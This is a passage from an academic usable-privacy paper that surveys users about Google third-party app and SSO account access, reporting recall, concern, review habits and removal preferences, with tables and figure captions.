prevalent SSO service, followed by Twitter and Google. Hu

et al. [21] investigated SSOs in the context of online social

networks and how apps can complete an impersonation attack.

And Zhou et al. completed automated vulnerability testing

of SSO on the web [43]. Here we assume that the SSO is

properly implemented and instead focus on user perceptions

of sharing information with third-parties via SSO services.

Prior work on third-party apps have mostly focused on the

Facebook ecosystem. Felt et al. [11] examined 150 Facebook

platform apps in 2008, finding that 90% of the examined apps

have unnecessary access to private data. Huber et al. [22] de-

veloped a method to analyze privacy leaks in Facebook apps

at scale by leveraging client-side iframes to capture network

traffic. Google third-party apps do not necessarily operate

client-side. More recently, Farooqi et al. [10] used “honey-

token” email addresses (i. e., auto-generated accounts on an

email server that the researchers control) to detect Facebook

apps inappropriately collecting and using those addresses.

Such a method could also be used for Google third-party apps

but was not the primary focus of this research.

Our work is also related to prior research on permission

management for online APIs. Similar to Wang et al. [39],

who analyzed the permissions requested by Facebook API

apps at install time, we explore the permissions requested by

third-party apps that integrate with Google’s API. Prior work

explored a subset of these permissions on Google [31]. A lack

of centralization for third-party apps means there is far from

comprehensive coverage. Our work expands on this effort

with in-the-wild observations of apps authorized on actual

users’ Google accounts.

Permissions have been extensively studied in the context

3398    31st USENIX Security Symposium USENIX Association



of smartphone apps. Notably, Felt et al. [12, 13] examined

Android apps and found that one-third are overprivileged, and

Wijesekera et al. [41] surveyed Android users’ perceptions of

app permissions, 80% of whom wished to deny at least one

permission. With the shift towards runtime, ask-on-first-use

permission requests [1, 3], Wijesekera et al. in 2017 [42]

developed a classifier to predict user permission preferences

by taking into account the context of the permission request.

Likewise, Smullen, et al. in 2020 [35] built a classifier that

demonstrated users are sensitive to the purpose of particular

permissions requested by apps. Our results show that similar

contextualization has impact on users’ perceptions of per-

missions, and recommend moving towards auto-review and

auto-revocation models for third-party apps as a whole and

for individual permissions.

Finally, this research is also related to work on privacy and

transparency dashboards for online services. These have been

both extensively proposed and explored in the literature [7,

9, 20, 24, 26, 28, 29, 33, 37, 40, 44]. The “Apps with access

to your account” page, to which we direct participants in the

survey, functions similarly to other transparency dashboards;

however, this dashboard offers less functionality than other

dashboards. We explore ways to improve management of

third-party apps through the web interface in Section 5.

3 Method

We begin by describing the two surveys. The first survey

asked participants to recall prior experiences with third-party

apps and SSOs. The second survey leveraged a custom

browser extension and asked participants to respond to the

specific SSOs and third-party apps currently authorized on

their Google account. In the remainder of this section, we

detail our study procedures, describe how we recruited partic-

ipants, discuss ethical considerations of our study, and outline

the limitations of our approach.

First Survey. Below, the first survey is described. The full

survey can be found in subsection A.1.

1. Informed Consent: Participants consented to the study.

2. Google Account Use: Participants were asked if they have

a Gmail account (as surrogate for a Google account), if it

is their primary Google account with sole ownership, and

the age of the account. Questions: Q11–Q14.

3. Familiarity with “Sign in with Google”: Participants were

provided with contextual information from Google’s docu-

mentation [18] alongside a screenshot of a “Sign in with

Google” button (taken from Yelp) and asked about their

recent experiences using their Google account to sign into

a third-party app or service. Questions: Q16–Q19.

4. Familiarity with Third-Party App Account Access: Par-

ticipants were provided with contextual information from

Google’s documentation [16] alongside a screenshot of a

third-party app’s Google API authorization screen (taken

from a generic app). Next, participants were asked about

their recent experiences granting a third-party app access

to their Google account. Questions: Q110–Q113.

5. IUIPC-8: Participants answered the Internet users’ infor-

mation privacy concerns (IUIPC-8) questionnaire [19], to

gain insights into participants’ privacy concerns.

6. Demographics: Participants were asked to provide de-

mographic information, such as age, identified gender,

education, and technical background. Questions: D1–D4.

Second Survey. The second survey recruited from those

who completed the first survey. We used the following in-

clusion criteria to ensure participants have active Google

accounts with SSOs and/or third-party apps: (i) the partici-

pant has a Gmail account, (ii) the participant uses the Gmail

account as their primary Google account, (iii) the participant

has sole ownership of their Google account, (iv) the partici-

pant has used their Google account for more than one month,

(v) the participant correctly answered the attention checks.

Below, we describe each part of the second survey in detail,

and the full survey can be found in subsection A.2.

1. Informed Consent: Participants consented to the main

study, which included notice that they would be asked to

install a web browser extension that would access their

Google’s “Apps with access to your account” page.

2. Extension Installation: Participants installed the browser

extension that locally parses third-party apps and SSOs

and displays specific apps to the participant as part of the

survey. The extension also recorded aggregate information

about the number of SSO and API authorizations and the

date of the oldest and newest authorization.

3. Explore Apps with Access to Your Account: We provided

participants with a brief descriptive introduction and then

directed them to explore their Google “Apps with access

to your account” page for one minute. This interaction

was managed by the browser extension with an overlay

banner and restricted navigation away from the page.

4. Account Access Questions: Participants were asked what

they consider before allowing third parties access to their

Google account and services and how often that access is

reviewed. Questions: Q21–Q24.

5. Keep or Remove: Each participants was shown all their

Google account authorizations and if they wished to keep

or remove the authorization. Question: Q25

6. App Permissions: Participants were asked about the per-

missions for their newest, oldest, and a random third-party

app to investigate potential impacts of installation time on

concern, benefit, and recall. Questions: Q27–Q214.

7. Reflections: Participants were asked to reflect on their

understanding of the Google “Apps with access to your

account” page and if they would change their behavior as

a result of that interaction. Questions Q215– Q220.

8. Feature Improvements: Participants provided suggestions

for improving Google’s “Apps with access to your account”

page. Questions Q221–Q226.
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Table 1: Demographic and IUIPC data collected at the end

of the first survey.

First Second
Survey Survey

(n = 432) (n = 214)

G
en

d
er

n % n %

Woman 204 47 99 46
Man 216 50 107 50
Non-binary 11 3 7 3
No answer 1 0 1 1

A
g

e

18–24 132 31 66 31
25–34 157 36 80 37
35–44 75 17 32 15
45–54 44 10 20 9
55+ 23 6 15 7
No answer 1 0 1 1

IU
IP

C

Avg. SD Avg. SD

Control 5.9 1.0 5.8 1.0
Awareness 6.6 0.7 6.6 0.8
Collection 5.4 1.2 5.3 1.2

IUIPC Combined 5.8 0.8 5.8 0.8

9. Uninstall Extension: Upon completing the survey, partici-

pants were instructed to remove the browser extension.

Recruitment and Demographics. We recruited 432 partic-

ipants via Prolific3 for the first survey between March 31,

2021 and April 20, 2021. After applying our inclusion crite-

ria, 399 participants qualified for the second study, and 214

returned to complete the second survey. Participants received

$1.00 USD and $3.00 USD for completing the first and sec-

ond survey, respectively, and it took, on average, 8 minutes

and 13 minutes to complete, respectively.

Thirty-one percent of first survey participants were between

18–24 years old, 36 % were between 25–34 years old, and

33 % were 35 years or older. The identified gender distribu-

tion for the first survey was 50 % men, 47 % women, and 3 %

non-binary, self-described, or choose not disclose gender.

Thirty-one percent of second survey participants were be-

tween 18–24 years old, 37 % were between 25–34 years old,

31 % were 35 years or older, and 1 % chose not to disclose

their age. The identified gender distribution for the second

survey was 50 % men, 46 % women, and 4 % non-binary,

self-described, or choose not disclose gender. Participant

characteristics are presented in Table 1.

Analysis methods. When performing quantitative analysis,

descriptive or statistical tests, the analysis is provided in con-

text. For qualitative responses, we use open coding to analyze

responses to open-text questions. First, a primary coder from

the research team crafted a codebook and identified descrip-

tive themes for each question. A secondary coder coded

a 20 % sub-sample as a consistency check, providing feed-

back on the codebook and iterating with the primary coder

3https://www.prolific.co - Prolific participant recruitment service,

as of October 5, 2021.

until inter-coder agreement was reached (Cohen’s κ > 0.7,

mean = 0.81, sd = 0.05).

Ethical Considerations. The study protocol was approved

by The George Washington University Institutional Review

Board (IRB) with approval number NCR202914, and through-

out the process we considered the sensitivity of participants’

Google app authorization data at every step. All aspects of

the survey requiring access to the actual Google “Apps with

access to your account” page was administered locally on

the participant’s machine using the browser extension. All

participants were informed about the nature of the study prior

to participating and consented to participating in both surveys.

At no time did the extension or the researchers have access

the participants’ Google password or to any other Google

account data, and all collected data is associated with random

identifiers.

Limitations. As an online survey, we are limited in that we

cannot probe deeply with follow-up questions to understand

the full range of responses. We attempt to compensate for

this limitation by performing thematic coding across many

responses to capture general opinions and feelings when in-

teracting with third-party apps and SSOs that have access to

their Google account.

Additionally, we are limited in our recruitment sample,

which is generally younger than the population as a whole.

Yet, we argue that despite this limitation, our results offer

insights into user awareness of third-party apps and SSO

access to their Google account, as well as other online services

with third-party APIs. We note that prior work by Redmiles,

et al. [30] suggests online studies about privacy and security

behavior can still approximate behaviors of populations.

Some results may be affected by social desirability bias,

where participants might indicate behavior that they believe

we (the researchers) expect them to embody. For example,

this may lead to participants over describing their awareness

or recall of granting access to third-party apps or SSOs, or

their intention to remove access. In these cases, one may view

these results as a potential upper bound on true behavior.

Finally, we acknowledge our study only considers Google,

even though many online services offer APIs. Still, we believe

our findings are broadly applicable because of the consistency

of the underlying mechanisms (i.e. OAuth scopes) and user

consent flows (i.e., users grant install-time permissions with

a dashboard for review) across many major providers.

4 Results

In this section we present the results of the two surveys. We

first describe the observed apps, SSOs, and their permissions

for participants completing the second survey. Next, we ex-

plore participants’ awareness and understanding of third-party

apps and their permissions. We then offer results on partic-

ipants’ motivations to install or not install a third-party app

and their intentions to change settings. Finally, we report
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Do you recall ever granting a thrid−party app access to your
Google Account?

Do you recall ever using your Google Account to sign in to third−
party apps or services?

0% 25% 50% 75% 100%

No Unsure Yes

Figure 1: Ninety percent of participants recall using their

Google Account to sign in (Q16) and over half recall granting

a third-party app access to their Google Account (Q110).

on participants’ reflections on their third-party apps and de-

sired features for improving transparency and control over

API access to their Google account.

4.1 Measurements

Third-party app and SSO findings. In the first survey, 432

participants self reported if they recalled using Google’s SSO

(Q16) or granting third-party apps (Q110) access to their

Google account. We found that 89% (n = 386) of partici-

pants recalled using SSO to sign into a third-party service.

Furthermore, 52% (n = 225) recalled granting a third-party

app access to their Google accounts. See Figure 1.

Additionally, during the first survey, we asked participants

to recall the latest app or service they signed into using their

Google account (Q17), and classified their responses into

various categories based on the app or service. We searched

repositories of available third-party apps, e.g., Google Play

or Google Workspace Marketplace, to determine the proper

app category. The top categories include shopping (n = 51;

12%), social media (n = 42; 10%), gaming (n = 38; 9%),

food (n = 34; 8%) and entertainment (n = 28; 6%).

Among the 214 second survey participants, a majority

(n = 184; 86%) have at least one SSO linked to their Google

account and 67% (n = 143) have at least one third-party app

with Google account access. Via the custom browser exten-

sion installed by the participants, we observed a total of 1,010

unique SSOs and 455 unique third-party apps accessing par-

ticipants’ Google accounts. For those who have at least one

SSO (n = 184), the average number of SSOs per participant

is 13 (median = 9.5; sd = 12). In comparison, those who have

at least one third-party app (n = 143) have an average number

of six third-party apps per participant (median = 3; sd = 6.7).

Third-party apps were authorized to access participants’

Google accounts for an average of 285 days (median = 142; sd

= 375). The maximum number of days authorized was 2,519

days and the minimum was one day. The highest number

of SSOs linked to a single participant’s Google account is
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Figure 2: Full results of questions (Q25), (Q27), and (Q29).

Most participants recall authorizing their apps and are aware

that their apps had permissions to access parts of their Google

account. Their newest app is the mostly likely to be removed.

65, and one participant had 49 third-party apps, the most

observed.

Associated account access permissions. Among the 1,010

distinct SSOs, we recorded 114 unique associated permis-

sions. Moreover, we cataloged 144 unique permissions re-

quested across the 455 distinct third-party apps. The average

number of permissions per SSO was three (median = 2; sd =

1.5); per third-party app, the average number of permissions

was three (median = 2; sd = 2.2).

The third-party app with the greatest number of permis-

sions was Health Sync with 19 permissions. Health Sync was

followed by: autoCrat (14), FitToFit (14), DocuSign GSuite

Add-on (13), Zero - Simple Fasting Tracker (13), and Yahoo!

(12). Only a few ( 1%; n = 12) SSOs ask for a single permis-

sion, while 36% (n = 166) of third-party apps have only one

permission. Additionally, 78% (n = 792) of SSOs have two

or fewer permissions while 56% (n = 255) of third-party apps

have two or fewer permissions.

The most common observed permission was “Create, edit,

and delete your Google Play Games activity” (n = 223). This

was followed by: “See your primary Google Account email

address” (n = 189), “See your personal info, including any

personal info you’ve made publicly available” (n = 177),

“See, create, and delete its own configuration data in your

Google Drive” (n = 71), and “Associate you with your per-

sonal info on Google” (n = 44).

4.2 Awareness and Understanding

Awareness of Third-party Apps and SSOs. In the second

survey, we used the browser extension to show participants

their newest, oldest, and a random third-party app. For partic-

ipants with only two apps, we considered those apps as their
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oldest and newest. And for participants with only one app, we

considered it as their oldest. This results in imbalanced partic-

ipants with oldest apps nold = 143, newest apps nnew = 117,

and random apps nrand = 85.

Participants were first asked if they recalled authorizing

each app (Q27). Among participants with at least one app,

33 % (n = 47) could not recall authorizing at least one of

them. The oldest installed app was recalled the most often

81 % (n = 116), followed by the randomly selected app at

79 % (n = 67), and finally the newest app at 74 % (n = 86).

There were no significant differences between the apps shown

with respect to positive recall compared to negative or unsure

responses (χ2
= 0.27, p = 0.87). (See Figure 3 displays the

full details.)

When asked when they last used these apps (Q28); over half

(51%; n = 74) of the participants reported using their oldest

app Today or In the previous week. Whereas 43% (n = 50)

report using their newest app, and only 34% (n = 29) report

using their random app, over that same time period. There

were no statistical differences (using a Kruskal-Wallace test

H = 2.15, p = 0.34) between reported last use of apps when

comparing newest, oldest, and random apps.

Subsequently, we asked participants if prior to seeing the

details about their newest, oldest, and a randomly chosen app

in the survey, they were aware that the app had permissions to

access their Google account data (Q29). Forty-nine percent

(n = 70) of participants with third-party apps were not aware,

for at least one of those apps, that the app had permissions

to access parts of their Google account data. Participants

were more likely to be unaware of the Google account access

permissions of their newest app (35%; n = 41), followed by

their oldest app (33%; n= 47), and random app (33%; n= 28).

Again, though, there were no significant differences between

awareness of the apps (χ2
= 0.032, p = 0.98). Figure 2 shows

the full results of app recall and awareness.

In the first survey, when participants were asked if they

recalled using Google’s SSO (Q16), 10% (n = 42) responded

No or Unsure. Yet, 16 of the 19 (84%) of those same partici-

pants who completed the second survey actually did have a

SSO linked with their Google account. We also asked whether

they recalled granting a third party access to their Google ac-

count (Q110), and 47% (n = 203) answered No or Unsure.

However, 52 of 95 (55%) of those very same participants who

completed the second survey in fact had granted a third-party

app access to their account.

Benefits From and Concerns For Third-Party Apps. Par-

ticipants selected on a 5-point Likert agreement scale to indi-

cate the benefits of their newest, oldest and randomly picked

apps (Q210). Eighty-two percent (n = 117) of participants

with apps Agree or Strongly agree that at least one of their

third-party apps is beneficial. The oldest app was reported as

the most beneficial with 59% (n = 84) who Agree or Strongly

agree, followed by 54% (n = 63) for the newest app, and 51%
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20 9 14 23 6 13
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Figure 3: Participants’ oldest app was also their most recently

used as over half report using their oldest app Today or In the

previous week (Q28).

(n = 43) for the random app. However, there were no signifi-

cant differences across responses based on a Kruskal-Wallace

test (H = 2.12, p = 0.34).

Additionally, participants were asked whether they were

concerned about their newest, oldest and random apps having

access to their Google accounts (Q210). Fifty percent (n= 71)

of participants with apps Agree or Strongly agree that they

were concerned with at least one of their third-party apps that

can access their Google account. Of the participants who

were concerned, 28% (n = 24) Agree or Strongly agree to

being concerned with their random app, 22% (n = 26) with

their newest, and 22% (n = 32) with their oldest. The full

results for app benefit and concern are shown in Figure 4,

and again, there were no statistically significant differences

(H = 1.58, p = 0.45).

Understanding App Access Permissions. We asked partic-

ipants who have apps to rate their confidence in understanding

the permissions held by their third-party apps (Q211). Note

that each participant had their own set of apps and permis-

sions, so there is an imbalance in the number of participants

surveyed for a given permission. Thus, we present permission-

specific results as percentages, with full counts in the figures.

Thirty-one percent (n = 45) of participants had at least one

permission that they were Not confident that they understood.

For the six most prevalent permissions requested by apps

in our study, participants were Confident or Very confident

(over 50 %) in understanding each of them. Participants were

the most confident in understanding the permission “See your

primary Google Account email address,” with 33 % Confident

and 39 % Very confident. This was also the most common

permission surveyed, with 223 occurrences in third-party

apps. Conversely, participants were least confident in their

understanding of the permission “See your personal info, in-
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Figure 4: Full results of question (Q210). Most participants

are not concerned about their third-party apps having access

to their Google account. Over half of participants do not want

to change the parts of their Google account that an app can

access. A majority of participants agree that app access to

their Google account is beneficial.

cluding any personal info you’ve made publicly available,”

with 12 % Not confident, 16 % Slightly confident. There is

also evidence in the qualitative data where a participants note

that this permission is confusing because it does not suffi-

ciently detail what information is included in “personal info.”

This was the second most common permission surveyed, with

186 occurrences in third-party apps. Results for the top six

most prevalent permissions can be found in Figure 5. Statis-

tical comparisons were not performed due to the imbalance

between groups for which permissions were surveyed.

Necessity of Access Permissions. We asked participants to

report the necessity of each permission on a 5-point Likert

scale for their newest, oldest and randomly selected third party

app (Q212). Sixty-one percent (n = 87) of participants had at

least one permission that they reported was Not necessary.

Among the six most prevalent permissions, participants

found the permission “See your personal info, including any

personal info you’ve made publicly available” to be the most

unnecessary, with 30% who stated that it is Not necessary and

31% who said it is only Slightly necessary. This is followed

by the permission “See, edit, download, and permanently

delete your contacts” in which 26% said it was Not necessary

and 18% said it is only Slightly necessary. At least 50% of

participants found the remaining prevalent permissions either

Necessary or Very necessary. Participants rated functional

permissions, such as “Read, compose, send, and permanently

delete all your email from Gmail,” to be more necessary for

the app to benefit them than data access permissions, like “See

your personal info, including any personal info you’ve made

publicly available.” The top six most prevalent permission
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Figure 5: Results for (Q211) for the top six most prevalent

permissions, of which “View Personal Info” was the least

understood and “View Gmail Address” was the most.

results for necessity can be found in Figure 6, and again, sta-

tistical comparisons were not performed due to the imbalance

between groups for which permissions were surveyed.

Concern for Access Permissions. In Q213 we asked the

level of concern participants have about third-party apps ac-

cessing their account through various permissions. Forty-six

percent (n = 66) of participants had at least one permission

that they were either Concerned or Very concerned about.

For five of the six most prevalent permissions requested by

third-party apps observed in our study, over 70% of partic-

ipants answered Not concerned or only Slightly concerned

about apps on their account having these permissions. The

permission “See your personal info, including any personal

info you’ve made publicly available” had the highest concern,

with 16 % Concerned, 5 % Very concerned. (See Figure 7.)

Reasons for Concern. Participants also provided free re-

sponses describing any concerns they have with a third-party

app, either the newest, oldest, or randomly chosen, having

these access permissions (Q214). Qualitative coding of the

responses revealed that some participants expressed concern

with the permissions held by their apps (newest, n = 46; old-

est, n = 90; random, n = 33). The most common reasons

for concern were access to personal or sensitive information,

unnecessary access, ability to delete, and access to contacts

and email. For example, P53 shared, “I don’t want them hav-

ing access to my personal information” (newest; YouTube on

Xbox Live). Examples of concern regarding unnecessary ac-
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Figure 6: Results for (Q212) for the top six most prevalent

permissions, of which “View Personal Info” was considered

the least necessary and “Modify Gmail” was the most.

count access include: “I’m a bit concerned about their access

to my Youtube Channel, since it seems a bit unnecessary and

excessive” (P170; newest; PlayStation Network) and “Not

sure why it needs Google Drive access, it shouldn’t be cre-

ating anything in there” (P93; random; Idle Island: Build

and Survive). Permissions that include the ability to delete

files was often concerning, for instance, “I don’t know if I

want them to be able to delete stuff from my Google Drive”

(P142; newest; CloudConvert). Access to email and contacts

were common concerns; for instance, P63 said, “As with any

app that requires having access to send emails, I’m always

worried about something unauthorized being sent” (oldest;

Boomerang for Gmail). P61 (oldest; Quora) noted:

I didn’t know that they could see and download my con-

tacts. That is a bit concerning because I don’t know what

they do with that data.

Participants were also concerned when they could not recall

authorizing the access, e.g., “I don’t remember authorizing

this app to have access to my Google account” (P10, newest;

Email - Edison Mail). Additionally, when participants infre-

quently used an app but found out it still had access to their

account, e.g., “I don’t use it anymore and they still have ac-

cess to my photos” (P16; random; Chatbooks - Print Family

Photos) and “I don’t use the Google nest hub anymore, so

it shouldn’t have access to my full account” (P12; oldest;

Google Nest Hub). A number of participants complained that

they had deleted the app from their device but it still had ac-

cess to their accounts, as when P137 shared, “I have removed
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Figure 7: Results for (Q213) for the top six most prevalent

permissions, of which “View Personal Info” was the most

concerning and “Modify Google Calendar” was the least.

the app from my phone and I don’t see why the app still has

to have these permissions” (newest; Adidas Training), and

P26 noted, “I was unaware these permissions were still on the

app as I’ve deleted the app” (newest; Linkt).

Many participants stated that they were unconcerned by the

app permissions (newest, n = 62; oldest, n = 44; random, n =

41). The most common reasons for the lack of concern was the

necessity of the permissions, and the limited access that the

permissions provided. For instance, P131 said “I don’t think

it has too many permissions and nothing seems unreasonable,

so I’m okay with this” (random; Lumin PDF), and P158

stated “It is a game and both of the permissions are valid”

(random; Starlost - Space Shooter). Some were unconcerned

because they trust the app, e.g., “I trust the service to keep

my information secure” (P148; newest; Amazing Marvin).

For others, the trust originates with the company who makes

the app, e.g., “I’ve never worried about Apple invading my

privacy” (P189; random; macOS).

4.3 Granting and Reviewing Account Access

Considerations When Granting App/SSO Access.

Google’s documentation [15] advises that users consider the

following five factors before granting a third-party access

to their Google account: (i) security, (ii) data use, (iii) data

deletion, (iv) policy changes, and (v) data visibility.

On a five-point agreement Likert-scale, we asked the par-

ticipants with apps if they considered these factors before

granting a third-party app access to their Google account
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Figure 8: Full results of questions (Q21) and (Q23) in which

participants are asked what they consider before granting

Google account access to a third-party APP or SSO.

(Q23) and before using their Google account to sign into a

service via SSO (Q21); those results are presented in Figure 8.

The most considered factor for third-party apps was the

security of the app or website (security), in which 83 % (n =

118) Agree or Strongly Agree. The next factor was how the

app or website will use your data (data use) where 78 % (n =

111) Agree or Strongly Agree. This was followed by who else

can see your data on the app or website (data visibility), in

which 71 % (n = 101) Agree or Strongly Agree. Next was

whether you can delete your data from the app or website

(data deletion), where 55 % (n = 78) either Agree or Strongly

Agree. The least considered factor was whether the app or

website will tell you if something changes (policy changes),

where fewer than half (n = 68; 48 %) Agree or Strongly Agree.

Among participants with SSOs (n = 184), the data shows

they considered similar factors as those for third-party app

account access. Again, the most considered factor was how

secure is the app or website (security), in which 83 % (n =

153) Agree or Strongly Agree. The next most considered

factor was how the app or website will use your data (data

use) where 77 % (n = 142) Agree or Strongly Agree. This was

followed by who else can see your data on the app or website

(data visibility), in which 72 % (n = 133) Agree or Strongly

Agree. Next was whether you can delete your data from the

app or website (data deletion), where 57 % (n = 105) either

Agree or Strongly Agree. The least considered factor was

whether the app or website will tell you if something changes

(policy changes), where fewer than half (n = 88; 48 %) Agree

or Strongly Agree.

We used a Mann-Whitney U-test to compare each of the

considerations, comparing SSO to third-party access (see top

of Figure 8). We did not find any significant differences,

suggesting that participants view SSOs and third-party apps

accessing their Google accounts in similar ways when deter-

mining if they should grant that access. More detail on SSO

considerations is in the next section.

In open-response questions, we asked participants to pro-

vide more details on what they consider before granting

a third-party app access to their Google account or use

SSOs (Q112, Q113). Participants often (Q12, n = 42; Q13,

n = 43) responded that they consider what permissions the

third-party would obtain, e.g., “What capabilities I was giving

the third-party” (P362). Security (Q12, n = 33; Q13, n = 23)

and privacy (Q12, n = 22; Q13, n = 28) were common con-

siderations. For instance P160 noted, “Whether it was secure

and could I trust it,” and P283 added, “I’m always worried

about my privacy anytime a app [sic] asks me for that infor-

mation.” Still, many participants (Q12, n = 31; Q13, n = 10)

had no considerations. For instance, P24 shared, “It was a

pop up so I didn’t consider it much at all.”

One particularly interesting theme that emerged from open

coding was the transfer of trust from the Google brand name

to third-party apps and SSOs when participants considered

granting access (Q12, n= 7; Q13, n= 4). That is, participants

were more likely to trust a third-party service because it was

using Google, and they trusted Google, irrespective of the

nature of the third-party service. For example, P278 declared,

“That it was okay since Google was allowing it,” and P297

added, “It must be okay since it partnered with Google.” P117

provided another example:

I would consider nothing again, I probably put too much

trust in Google and it’s become a crutch at this point, I

would easily allow it to be used in 3rd party situations.

and P161:

Nothing! Like before, I generally trust anything that

leads to that Google SSO page.

When considering granting SSO access (Q18), many partic-

ipants (n= 55) considered ease of use and convenience before

signing in, and a common theme was the ease of reusing their

Google account login credentials versus creating a new ac-

count on a third-party app or website, e.g., “It is easier and

more convenient than making a brand new account to some

third party website” (P21). There were also many (n = 42)

who were unconcerned and had few considerations, such as

P99 who said,“I didn’t consider much, I use Google sign in

pretty regularly,” and P117 who stated, “I didn’t consider

much, my Google account has always been good to me and

offered ease of use with many things.”

Participants (n = 27) also shared concerns such as what

information would be accessible to the third-party app or ser-

vice; for instance, P90 responded, “If that service has access

to information associated with my Google Account,” and P91

replied, “I considered what that app would have access to

if I signed in through there.” Security (n = 29) and privacy

(n = 13) were common considerations. For example P80
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Figure 9: Over 75 % of participants stated that they Never or

Rarely review what services they can sign into using (Q22) or

have access to their Google account (Q24).

shared, “I was worried about security of my Google Account,”

and P271 added, “The private data that this application was

going to read, in other words, I worry about my privacy.”

Some participants (n = 12) described a trade-off between

information sharing and convenience. For instance, P16

shared, “The effort of making a new account versus shar-

ing my google info.” Trust of the website or service being

signed into is also a common theme (n = 26), e.g., “I consider

if the website is trustworthy and if I can trust signing in using

my Gmail account in their website” (P68).

Reasons For Authorizing Account Access. We asked par-

ticipants what was the purpose of allowing third-party ac-

cess (Q111). The purpose for many (n = 45) participants was

the utility that the app provided, such as email and contact

management, file transfer, and synchronizing data between

devices. For instance, P37 explained, “I gave a ringtone app

access to my contacts and messages so that it can change the

notification/ringtone sounds” and P210 shared that the apps

purpose was “Allowing me access to multiple e-mails from

the same app on my Windows computer.” Another popular

(n = 38) purpose was calendar management, e.g., “Zoom, to

allow it to add meetings to my calendar” P25. Gaming was a

common (n = 38) purpose. For example, P355 responded:

I allowed access to my Google account for a lot of games,

because I can get achievements to be displayed on my

account with Google, and also it is usually an easy way

to recover or save data between devices.

Some participants (n = 15) just could not recall the purpose,

like P404 who shared, “I don’t really remember but I do

remember encountering this type of screen in the past.”

User Review of Apps With Account Access. We find that

participants rarely or never review the services they can sign

into using their Google account or the apps that have access

to their Google account. We asked participants how often

they review the services they can sign into using their Google

account (Q22). A majority (n = 106; 58 %) Rarely review

their services, 20 % (n = 37) Never review, and 16 % (n = 29)

review them Monthly or Yearly. Among participants with

apps, we also asked how often they review the services that

have access to their Google account (Q24). Again, a majority

(n = 80; 56 %) Rarely review their services, 24 % (n = 35)

Never review, and 18 % (n = 26) review them Monthly or

Yearly. Figure 9 shows the full results of these questions.

For each of their newest, oldest and random app, we also

asked participants if they would like to change which parts

of their Google account that the third-party app can access

(Q210). 52 % (n = 74) of participants Agree or Strongly agree

they want to change which parts of their Google account are

accessible for at least one of their apps. The most agreement

for changing access was for the random app, in which 30%

indicated they Agree (15%; n = 13) or even Strongly agree

(15%; n = 13). This was followed by the newest app, where

21% (n = 25) Agree and 9% (n = 11) Strongly agree. The

oldest app had the least agreement for a change in access with

only 15% (n = 22) Agree and 7% (n = 10) Strongly agree.

Keeping or Removing Apps. For each of the specific apps

shown—newest, oldest, and randomly chosen—we asked

participant if they would like to keep or remove the app or are

unsure about what to do (Q25). 43 % (n = 62) of participants

with third-party apps wanted to remove at least one of those

apps. Due to private data aggregation during the survey,

we only linked the keep/remove preferences for the newest,

oldest, and random app that were specifically reviewed by

the participants. For their newest app, 56 % (n = 65) of the

participants said they want to keep it, 30 % (n = 35) chose

to remove, and 15 % (n = 17) answered unsure. Many more

participants (76 %; n = 108) responded to keep their oldest

app. While 20 % (n = 28) wanted to remove, and 5 % (n =

7) were unsure. 60 % (n = 51) of participants wanted to

keep their randomly selected app, 27% (n = 23) answered to

remove, and 13% (n = 11) were unsure. However, a Kruskal-

Wallace test found no significant differences between the three

apps shown (H = 0.49, p = 0.77). Full results in Figure 2.

We performed logistic regression to determine factors that

would lead a participant to remove a third-party app access

from their Google account (see Table 2). We controlled for

repeated measures by adding random intercepts to the model,

as each participant provided up to three apps they wished

to keep or remove. We found a significant correlation with

participants who want to change which parts of their Google

account the app can access (β = 1.75,OR = 5.76, p = 0.001),

where those participants were 5.8× more likely to want to

remove the app access. We found a significant correlation

with participants who have used the app within the last month

(β =−1.76,OR = 0.17, p =< 0.001), and those participants
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Table 2: Binomial logistic model to describe which factors in-

fluenced the preference to remove an app (Remove responses

to question Q25). The Aldrich-Nelson pseudo R2
= 0.52.

Factor Est. OR Error Pr(>|z|)

(Intercept) −1.02 0.36 0.68 0.134

Participant’s newest app 0.22 1.24 0.53 0.687

Participant’s oldest app −0.07 0.93 0.56 0.904

Recall = Yes 0.92 2.50 0.68 0.179

Aware app permissions = Yes −1.15 0.32 0.61 0.058 .

Last use ∈ {day, week, month} −1.76 0.17 0.49 <0.001 ***

Access benef. ∈ {Agr., Str. Ag.} −1.80 0.17 0.55 0.001 **

Access conc. ∈ {Agr., Str. Ag.} 0.43 1.53 0.56 0.443

Access change ∈ {Agr., Str. Ag.} 1.75 5.76 0.54 0.001 **

# of permissions > median 0.05 1.05 0.44 0.909

Time since install < 3 months 0.84 2.32 0.54 0.123

Time since install > 2 years 0.26 1.30 0.66 0.689

Signif. codes: *** =̂< 0.001; ** =̂< 0.01; * =̂< 0.05; · =̂< 0.1

are 5.9× more likely to want to keep the app access. We

also found significant correlation with participants who found

the app beneficial (β =−1.80,OR = 0.17, p = 0.001), where

they too are 5.9× more likely to want to keep the app access.

These findings suggest the importance of app usage frequency

in account access authorization.

4.4 Reflection and Features

Understanding Account Linking and Access. We directed

all participants in the second survey (n = 214) to explore

their “Apps with access to your account” page. We then

asked whether the page helps them to better understand which

third-party apps and websites are linked to their Google ac-

count (Q215); nearly all participants (n = 204; 95 %) agreed

that it help. And when asked if the page helps to better un-

derstand which parts of their Google account third-party apps

can access (Q216), again nearly all participants (n = 198;

93 %) agreed. This suggests that the management page has

the potential for being an important tool.

Change Settings and Review Apps. We asked participants

to indicate whether they intend to change any settings after

seeing their “Apps with access to your account” page (Q217),

and roughly half (n = 105) affirmed that they would change

settings. Over 70 % (n = 152) indicated they plan to review

third-party apps in six months (Q218). Refer to Figure 10 to

see the full results of these questions.

If a participant affirmed they would change a setting, we

asked them to tell us which settings they would change

(Q219). Many participants (n = 76) wanted to remove ac-

cess from one or more apps. They often (n = 41) mentioned

unused apps; for instance, P23 said:

I would definitely remove many of the apps that I do not

use anymore. They absolutely do not need to be linked

to my Google account anymore.

1054960

1523923

In six months do you see yourself reviewing third−party apps from
your "Apps with access to your account" page?

After completing this survey, do you see yourself changing any
settings on your "Apps with access to your account" page?

0% 25% 50% 75% 100%

No Unsure Yes

Figure 10: Roughly 50 % of participants stated that they

would change their settings after the survey (Q217), and a

majority would review third-party apps in six months (Q218).

Participants also wished to remove apps they no longer re-

called authorizing, e.g., “There are apps I do not use and do

not recall allowing access to my Google account” (P24).

Some participants (n = 27) wanted to change specific per-

missions access, something not allowable with the current

interface. The most common permissions mentioned included

contacts, account info, delete or modify files, and “unneces-

sary permissions.” For example, P189 said, “I would remove

Dropbox’s access to my contacts,” and P192 noted, “. . . and

maybe restrict Streak’s access to my Google Drive.” Partici-

pants (n = 8) mentioned protecting their personal information

as a reason for the settings change, e.g., “I would limit the

